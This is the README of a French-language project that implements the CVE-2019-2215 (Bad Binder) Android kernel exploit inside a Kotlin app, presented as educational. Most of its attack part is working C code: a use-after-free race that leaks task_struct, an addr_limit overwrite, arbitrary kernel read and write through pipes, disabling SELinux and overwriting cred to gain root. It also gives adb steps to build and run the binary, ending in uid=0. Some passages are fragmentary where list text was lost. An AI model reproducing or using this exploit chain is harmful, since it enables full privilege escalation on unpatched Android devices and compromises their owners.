
démonstration CVE-2019-2215 (Bad Binder) pour Android Q
Ce dépôt est un petit projet de test pour étudier la vulnérabilité
CVE-2019-2215 (Bad Binder) et écrire un prototype fonctionnel d'exploit pour Android avec
une interface graphique simple en Kotlin/Jetpack Compose.
Dans ce README, je :
Le dépôt contient un workflow GitHub Actions qui, à chaque push/PR, compile le projet
avec la commande ./gradlew assembleDebug et publie le fichier badbinder-debug.apk comme artefact.
Vous pouvez le télécharger ainsi :
badbinder-debug-apk
contenant l'APK compilé.Cela a été fait pour plus de commodité, si vous souhaitez simplement tester l'application sans configurer un environnement local.
CVE-2019-2215 est une Use-After-Free (UAF) dans le sous-système IPC Binder du noyau Android.
En simplifiant :
struct binder_thread qui décrit un thread
effectuant des appels Binder ;waitqueue) ;remove_wait_queue,
ce qui ouvre un scénario UAF classique ;Une analyse théorique plus détaillée a été réalisée à partir des ressources suivantes :
Selon les instructions, il est recommandé d'utiliser un AVD avec l'image Android 10.0 (Q) x86_64.
J'ai fait ce qui suit :
/dev/binder.adb shell
ls -l /dev/binder
À cette étape, j'ai rencontré un fait désagréable :
actuellement, les images AVD à jour sont déjà livrées avec un noyau patché, dans lequel
CVE-2019-2215 est corrigée. Autrement dit, il ne sera pas possible d'obtenir réellement un root sur un émulateur officiel moderne — l'exploit échoue à des stades ultérieurs ou ne permet tout simplement pas l'élévation de privilèges.
En fin de compte, j'utilise l'AVD comme simulateur pour reproduire la logique de l'exploit :
addr_limit,C'est une nuance importante : tout le code et le rapport ci-dessous sont éducatifs, pas « opérationnels ».
J'ai créé une petite application Android :
Les principales étapes :
Création d'un projet standard dans Android Studio (Kotlin, prise en charge minimale d'Android 10).
Connexion du NDK et de CMake.
Ajout d'un fichier natif contenant l'exploit (le fameux cve-2019-2215.c avec les fonctions
leak_task_struct, overwrite_addr_limit, etc.).
Dans CMakeLists.txt, ajout de la compilation de libcve-2019-2215.so.
Dans MainActivity :
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
Côté Kotlin, création d'un ExploitViewModel qui implémente l'interface
NativeLogger et stocke tous les messages dans un StateFlow<List<String>>. L'UI est abonnée
à ce flux et affiche le journal dans un « terminal ».
Au lancement de l'activité, j'appelle setNativeLogger(viewModel) pour que le code natif
reçoive un objet auquel envoyer des chaînes.
Compilation et installation de l'application :
./gradlew installDebug
Lancement de l'AVD et de l'application elle-même.
À l'écran, je vois un « terminal » et un bouton RUN EXPLOIT.
Appui sur le bouton :
runNativeExploit() dans un thread d'arrière-plan.Sur un noyau vulnérable réel, je m'attendrais à voir à la fin quelque chose comme :
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
Sur l'émulateur Android 10 actuel, cela ne se produit évidemment pas, mais tout le reste —
fuite de task_struct, tentative de réécriture de addr_limit, calcul de cred et de kernel_base —
s'exécute comme un « scénario », ce qui était requis pour l'exercice.
Ci-dessous, le schéma logique de l'exploit avec les fonctions C correspondantes.
Le plan de haut niveau est le suivant :
struct binder_thread et l'utiliser pour
faire fuir l'adresse de task_struct de son propre processus (leak_task_struct).addr_limit dans task_struct (overwrite_addr_limit) — cela supprime la restriction
entre les adresses espace utilisateur et espace noyau pour les opérations ultérieures
copy_to_user / copy_from_user.arb_read / arb_write).cred du processus courant et la base du noyau (verifying),
puis :
En parallèle, j'ai intégré un journaliseur JNI pour que toutes ces étapes soient visibles directement dans l'UI.
task_struct (leak_task_struct)Fonction clé :
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
Ce que fait la fonction :
Fixe le thread sur le CPU 0 (sched_setaffinity) pour que le comportement de l'allocateur noyau
soit plus prévisible. Cela améliore la stabilité de l'exploitation UAF.
Ouvre /dev/binder, crée un descripteur epoll :
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
Le descripteur Binder est enregistré dans epoll :
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
Prépare un tableau struct iovec iov_buffers[IOVEC_N] et alloue de la mémoire :
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
Il est important ici que les 32 bits de poids faible de l'adresse soient nuls :
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
Cela correspond à la technique décrite dans les articles d'exploitation : ensuite, le noyau interprète une partie de nos données comme des structures contenant des pointeurs, et une telle adresse « bien alignée » facilite l'abus.
Ensuite, les champs iov_buffers[0xa] et sont remplis de manière à ce que
au moment de l'UAF, le noyau copie dans le pipe un morceau de mémoire contenant le pointeur vers
.
Résultat : j'ai l'adresse de task_struct dans le noyau, ce qui est crucial pour les
étapes suivantes.
addr_limit (overwrite_addr_limit)addr_limit dans task_struct détermine quelles adresses un processus peut transmettre
dans les appels système comme pointeurs espace utilisateur. Si on le réécrit avec une valeur
presque maximale, le noyau ne distingue plus les adresses espace utilisateur des adresses dans
son propre espace d'adressage — et de nombreuses opérations apparemment sûres
copy_(to|from)_user deviennent des lectures/écritures arbitraires du noyau.
Fonction :
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
suit un schéma très similaire :
Nouveau réglage de l'affinité CPU, ouverture de /dev/binder, création d'epoll.
Préparation de iov_buffers, mais cette fois avec une disposition différente :
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0xc].iov_base = read_buffer0;
iov_buffers[0xc].iov_len = 0x8;
Au lieu d'un pipe, on utilise socketpair(AF_UNIX, SOCK_STREAM, ...) :
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
Préparation d'une structure msghdr pour recvmsg :
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
Dans le processus fils (après fork()), la course UAF est à nouveau déclenchée :
arb_read, arb_write, verifying)Après avoir réécrit addr_limit, j'utilise des pipes pour transformer les opérations
de lecture/écriture normales en possibilité de lire et écrire à des adresses noyau.
arb_read / arb_writeunsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
De même, arb_write inverse le sens de la copie.
Fonction verifying() :
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
Ici, je :
task_struct ;PID_OFFSET qu'il s'agit bien de ma structure ;cred et une fuite d'adresse du noyau (kernel_leak) ;kernel_base avec un ajustement basé sur un décalage fixe.Partie finale dans runNativeExploit :
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
selinux_enforcing et la mets à zéro/état « permissif ».Ensuite, réécriture de cred :
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
Je remplis littéralement les champs de capacité et certains autres champs de cred
avec les valeurs maximales, pour donner à mon processus l'ensemble complet des droits.
Dernière vérification :
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
Sur un noyau vulnérable réel, je m'attendrais ici à uid=0, sur une image patchée —
logiquement, l'escalade est désactivée.
Pour voir tout en temps réel, j'ai ajouté une couche intermédiaire :
JNI_OnLoad sauvegarde JavaVM* et le PID du processus principal ;setNativeLogger reçoit un objet Kotlin implémentant la méthode onLog(String),
et le sauvegarde en tant que GlobalRef ;android_log/android_log_hex écrivent dans logcat et appellent send_to_ui, qui
achemine la chaîne vers Kotlin, où elle est récupérée par ExploitViewModel et affichée
dans le « terminal » Compose.Il est important que send_to_ui filtre les processus fils par PID — appeler JNI depuis un
processus après fork() sans exec() n'est pas sûr.
J'ai rencontré le fait qu'actuellement, il n'existe pas d'images AVD officielles d'Android 10 avec un noyau non patché dans lequel CVE-2019-2215 soit toujours présente.
Au lieu d'obtenir un root « opérationnel », je me suis concentré sur :
Si on le souhaite, ce code peut être porté sur un vrai appareil avec un vieux noyau non patché, mais cela dépasse le cadre de l'exercice.
J'ai dû définir explicitement :
ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET ;kernel_leak et selinux_enforcing ;kernel_base.J'ai délibérément choisi de ne pas automatiser la recherche de ces valeurs, afin de ne pas gonfler la taille du projet. Dans ce rapport, je considère qu'il s'agit d'un exemple éducatif pour une version spécifique du noyau, et non d'un exploit universel.
L'utilisation de fork(), epoll_ctl, BINDER_THREAD_EXIT et divers temporisations est
un terrain miné. J'ai constaté que sans :
sched_setaffinity,sleep,assert agressifs en cours de route,l'exploit devient extrêmement instable.
J'ai progressivement mis au point la séquence pour qu'elle soit prévisible sur une configuration
vulnérable, et qu'elle « échoue » proprement aux dernières étapes sur une configuration patchée.
fork()J'ai également rencontré le problème que les tentatives de journalisation depuis le processus fils
directement dans la JVM entraînent un comportement étrange.
J'ai dû me rappeler les règles JNI et ajouter une vérification du PID pour ne communiquer
avec la JVM que depuis le processus principal.
Compromis : une partie des messages n'est visible que dans logcat, et l'UI n'affiche que
ce qui provient du parent. Cela m'a convenu car, dans le cadre de l'exercice, ce sont
principalement les points de contrôle importants qui comptent, et non chaque print de débogage.
En bonus, pour une réalisation plus créative de l'exercice, j'ai décidé de créer une interface pratique pour l'analyse :
[+], [*], [!], [C]) sont mis en évidence par des
couleurs différentes pour faciliter la lecture ;Success / Failed) est affiché dans un bloc séparé.Cela simplifie grandement la compréhension du code natif : au lieu d'un logcat brut,
je vois tout au même endroit, directement dans l'application.
À l'issue de ce travail sur cet exercice, j'ai :
task_struct,addr_limit,cred, désactivation de SELinux et tentative d'escalade de privilèges.Le projet s'est avéré compact, mais reflète essentiellement tout le cycle de vie d'une vulnérabilité réelle du noyau : de la description théorique et la lecture d'articles à l'implémentation pratique et à l'intégration dans une application Android fonctionnelle.
Le répertoire cve-2019-2215 contient un Makefile qui permet de compiler
le binaire natif (x86_64) et de l'exécuter directement dans l'AVD via ADB.
Si une version aarch64 est nécessaire, elle peut être compilée séparément.
cd cve-2019-2215
make
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
id
uid=0(root) gid=0(root) groups=0(root)
selinux_enforcing = 0),cred pour devenir root et obtenir l'ensemble complet des capacités
(runNativeExploit).iov_buffers[0xb]task_structCrée un pipe et définit la taille de son tampon à 0x1000 :
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
Ensuite — la course UAF classique. Je lance un processus fils :
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) entraîne la libération
du binder_thread associé dans le noyau, mais il apparaît toujours dans la structure de
comptabilité des attentes — c'est le point UAF.Dans le processus parent, j'appelle :
ioctl(fd, BINDER_THREAD_EXIT, NULL); // libération de binder_thread
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
À ce stade, grâce à l'UAF, writev utilise la mémoire déjà libérée comme des structures iovec
et, en substance, réinterprète la même zone mémoire où se trouvait auparavant binder_thread,
mais maintenant comme un ensemble de pointeurs/longueurs. Par effet secondaire, cela entraîne
la copie d'un fragment de la mémoire noyau dans notre pipe.
Enfin, je lis depuis le pipe :
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
Le décalage 0xe8 est choisi pour la version spécifique du noyau — c'est l'endroit
où se trouve le pointeur vers task_struct de mon processus dans le bloc de mémoire fui.
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
Le parent, comme avant, libère binder_thread et appelle recvmsg :
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
À cause de l'UAF et de la substitution astucieuse des structures, le noyau finit par percevoir task_struct + ADDR_LIMIT_OFFSET comme l'adresse d'un tampon utilisateur et copie à cet endroit le contenu
de la structure envoyée (notre valeur 0xfffffffffffffffe), réécrivant ainsi addr_limit dans task_struct.
Dans le journal, j'écris :
android_log("[!] addr_limit overwrite done.");